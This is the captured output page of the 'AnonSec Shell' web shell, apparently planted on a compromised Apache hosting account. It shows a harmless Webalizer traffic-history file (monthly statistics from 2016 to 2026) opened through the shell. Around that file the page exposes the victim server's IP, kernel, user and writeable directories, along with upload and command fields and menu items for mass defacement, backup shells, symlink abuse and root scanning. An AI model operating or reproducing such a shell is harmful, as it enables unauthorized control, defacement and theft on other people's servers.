. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 85.13.141.101  /  Your IP : 216.73.216.42   [ Reverse IP ]
Web Server : Apache
System : Linux dd40236 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : w00ad34b ( 1052)
PHP Version : 8.2.30-nmm1
Disable Function : NONE
Domains : 431 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/htdocs/w00ad34b/usage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /www/htdocs/w00ad34b/usage//webalizer.hist
# Webalizer V2.23-08 History Data - 07/Jul/2026 01:57:58 (120 month)
7 2026 127916 78675 4829 1566468 1 6 70194 6907 0 0
6 2026 221535 158367 16170 8304828 1 30 87743 27363 0 0
5 2026 174856 115884 16459 7666957 1 31 88651 27430 0 0
4 2026 188855 122807 21155 7191857 1 30 92336 33227 0 0
3 2026 218538 128016 21888 13778781 1 31 122794 38021 0 0
2 2026 246917 111924 17886 8665812 1 28 180046 33402 0 0
1 2026 293364 144011 19612 16020401 1 31 198682 36057 0 0
12 2025 181430 124498 15133 13551272 1 31 104298 29048 0 0
11 2025 193396 133818 12097 12260732 1 30 114257 23707 0 0
10 2025 226586 161806 13526 11157330 1 31 141428 26494 0 0
9 2025 171067 116902 13263 7847006 1 30 97383 26166 0 0
8 2025 143826 89153 9710 4470509 1 31 96575 26253 0 0
7 2025 145489 91020 7955 5684773 1 31 91684 22787 0 0
6 2025 165305 107042 8053 5714197 1 30 99183 23362 0 0
5 2025 156838 101470 9727 7071161 1 31 93089 25405 0 0
4 2025 130495 81443 8777 6138010 1 30 79094 23694 0 0
3 2025 134196 72907 8073 5286530 1 31 87908 21338 0 0
2 2025 84631 63568 7466 5847928 1 28 44186 15464 0 0
1 2025 202843 173515 9201 10555535 1 31 55425 17356 0 0
12 2024 129867 96430 7714 7853174 1 31 57942 16073 0 0
11 2024 259137 218433 7235 8773654 1 30 76389 17257 0 0
10 2024 127652 107639 10312 4597411 1 31 69190 22520 0 0
9 2024 86074 70102 7362 4036267 1 30 40777 11045 0 0
8 2024 102320 83511 7636 4775309 1 31 44074 10909 0 0
7 2024 106346 89720 8029 5896481 1 31 44793 11960 0 0
6 2024 104703 86940 8467 4691670 1 30 48512 11317 0 0
5 2024 134819 115778 8352 7407197 1 31 64185 10107 0 0
4 2024 102302 87800 6151 6022813 1 30 53733 8292 0 0
3 2024 229840 210986 7466 145532044 1 31 40647 9559 0 0
2 2024 130222 101570 6737 7130871 1 29 63703 9363 0 0
1 2024 121334 79117 6440 5785754 1 31 66940 8946 0 0
12 2023 98402 75335 6236 3781152 1 31 42099 8281 0 0
11 2023 104111 54563 5934 3269607 1 30 69254 8293 0 0
10 2023 73957 56794 5521 2889529 1 31 33057 7745 0 0
9 2023 86364 55512 6032 2784963 1 30 52143 11357 0 0
8 2023 82820 59492 6179 3006499 1 31 43047 10799 0 0
7 2023 87702 69775 7302 3756544 1 31 42298 15426 0 0
6 2023 88872 75470 7174 3462754 1 30 45979 17051 0 0
5 2023 95165 79705 6722 3621224 1 31 44740 15887 0 0
4 2023 77297 65855 7199 3834928 1 30 34669 15570 0 0
3 2023 124519 109162 7605 11240074 1 31 38643 16430 0 0
2 2023 89277 77017 4634 8238521 1 28 34282 13704 0 0
1 2023 127524 109861 6387 10129827 1 31 50511 16772 0 0
12 2022 102509 87100 5511 6880700 1 31 45512 15182 0 0
11 2022 92131 80490 4368 8382829 1 30 41325 13233 0 0
10 2022 90659 78344 4689 6202379 1 31 44417 13438 0 0
9 2022 103031 91299 4366 8085418 1 30 50201 12809 0 0
8 2022 96727 86166 4381 8685282 1 31 45020 13796 0 0
7 2022 79799 68441 4615 3193538 1 31 47857 13481 0 0
6 2022 64160 55061 4408 3207968 1 30 39388 11427 0 0
5 2022 72753 64380 4848 3718287 1 31 42508 11347 0 0
4 2022 67973 58658 4554 3561489 1 30 37807 10690 0 0
3 2022 91382 73991 4323 4546209 1 31 49801 10708 0 0
2 2022 113631 67889 4052 6361068 1 28 74135 9565 0 0
1 2022 100551 74058 3918 8639328 1 31 59315 10800 0 0
12 2021 85075 72982 3860 11522481 1 31 39955 8854 0 0
11 2021 72005 62230 4349 6909930 1 30 30500 9314 0 0
10 2021 110945 77393 5029 7576664 1 31 61955 17966 0 0
9 2021 136510 54008 4386 2794070 1 30 104233 18335 0 0
8 2021 102328 50040 3782 7131804 1 31 70686 23089 0 0
7 2021 97816 56752 4381 3149369 1 31 57945 13782 0 0
6 2021 100757 41141 3902 2823451 1 30 78458 19661 0 0
5 2021 110911 65539 4835 3912389 1 31 64209 23110 0 0
4 2021 115340 65671 4235 3380821 1 30 65201 13807 0 0
3 2021 146735 47637 3644 3624144 1 31 115507 23432 0 0
2 2021 72063 48048 3279 2540771 1 28 39680 13280 0 0
1 2021 87137 40592 3549 2194517 1 31 66098 13848 0 0
12 2020 71382 27983 3575 1894121 1 31 58435 18427 0 0
11 2020 94495 50518 3169 2427469 1 30 63113 17262 0 0
10 2020 144593 60264 3290 3174012 1 31 108129 19583 0 0
9 2020 97207 53203 3415 2704407 1 30 72562 14457 0 0
8 2020 102681 37046 3483 2180098 1 31 86318 29284 0 0
7 2020 121747 55117 3737 3896164 1 31 87196 15606 0 0
6 2020 85336 38052 2896 2483895 1 30 60983 11058 0 0
5 2020 115842 38432 2933 3005221 1 31 97625 19527 0 0
4 2020 120815 49295 3092 8246616 1 30 90082 24465 0 0
3 2020 224913 97976 5180 83718838 1 31 150100 38297 0 0
2 2020 151068 41692 3780 4619461 1 29 126771 35201 0 0
1 2020 144885 59328 5173 9768355 1 31 106373 46685 0 0
12 2019 180920 64942 4065 5057603 1 31 151300 23711 0 0
11 2019 230052 107239 4202 5684609 1 30 175853 26426 0 0
10 2019 226261 114561 3642 3967592 1 31 183233 24384 0 0
9 2019 207415 78879 2927 4993665 1 30 154862 18203 0 0
8 2019 89742 32879 3197 1598656 1 31 73813 17756 0 0
7 2019 141007 48230 3441 1038212 1 31 112904 20457 0 0
6 2019 183302 33287 3402 1135865 1 30 161942 16507 0 0
5 2019 101648 31439 3278 943785 1 31 83286 17798 0 0
4 2019 205247 22374 2897 683031 1 30 190646 25742 0 0
3 2019 207271 22879 3170 555348 1 31 193087 33573 0 0
2 2019 185914 21618 3270 651610 1 28 171959 36343 0 0
1 2019 336854 59423 3179 1457253 1 31 306565 53050 0 0
12 2018 136360 27687 3161 910160 1 31 115902 29708 0 0
11 2018 211010 194363 3794 1838664 1 30 162522 28772 0 0
10 2018 189026 183058 3408 1106349 1 31 171994 26629 0 0
9 2018 93337 89667 3025 674000 1 30 81437 26766 0 0
8 2018 158339 141944 3825 949782 1 31 143545 26580 0 0
7 2018 102114 98758 2420 1008760 1 31 86149 26741 0 0
6 2018 110194 105962 3156 820194 1 30 99011 23861 0 0
5 2018 51407 46324 2150 587506 1 31 40480 9638 0 0
4 2018 4723 3983 662 78484 1 30 1853 839 0 0
3 2018 41577 8560 776 73214 1 31 37418 1015 0 0
2 2018 35242 14407 910 112714 1 28 27310 1208 0 0
1 2018 42246 20881 1196 110316 1 31 32004 1562 0 0
12 2017 9476 3708 617 169536 1 31 8018 1169 0 0
11 2017 3289 2693 644 62235 1 30 2031 1075 0 0
10 2017 23075 17594 848 198755 1 31 8361 1715 0 0
9 2017 8992 7233 714 215105 1 30 3685 1192 0 0
8 2017 2956 2023 877 16387 1 31 2242 1240 0 0
7 2017 10337 8920 738 99563 1 31 7702 1091 0 0
6 2017 5440 4468 881 276938 1 30 3692 1316 0 0
5 2017 5767 5060 822 254975 1 31 3705 1406 0 0
4 2017 6164 3610 859 144829 1 30 4769 1414 0 0
3 2017 321436 209990 24234 1679434 1 31 317587 36060 0 0
2 2017 58191 33155 606 90360 1 28 47557 1249 0 0
1 2017 2794 2158 536 24831 1 31 2073 1139 0 0
12 2016 2188 1764 552 14894 1 31 1389 962 0 0
11 2016 3377 2536 573 19566 1 30 1900 967 0 0
10 2016 2777 2612 480 30239 1 31 1615 774 0 0
9 2016 3039 2794 545 12790 1 30 1898 810 0 0
8 2016 2630 2445 497 11430 1 31 1584 835 0 0

Anon7 - 2022
AnonSec Team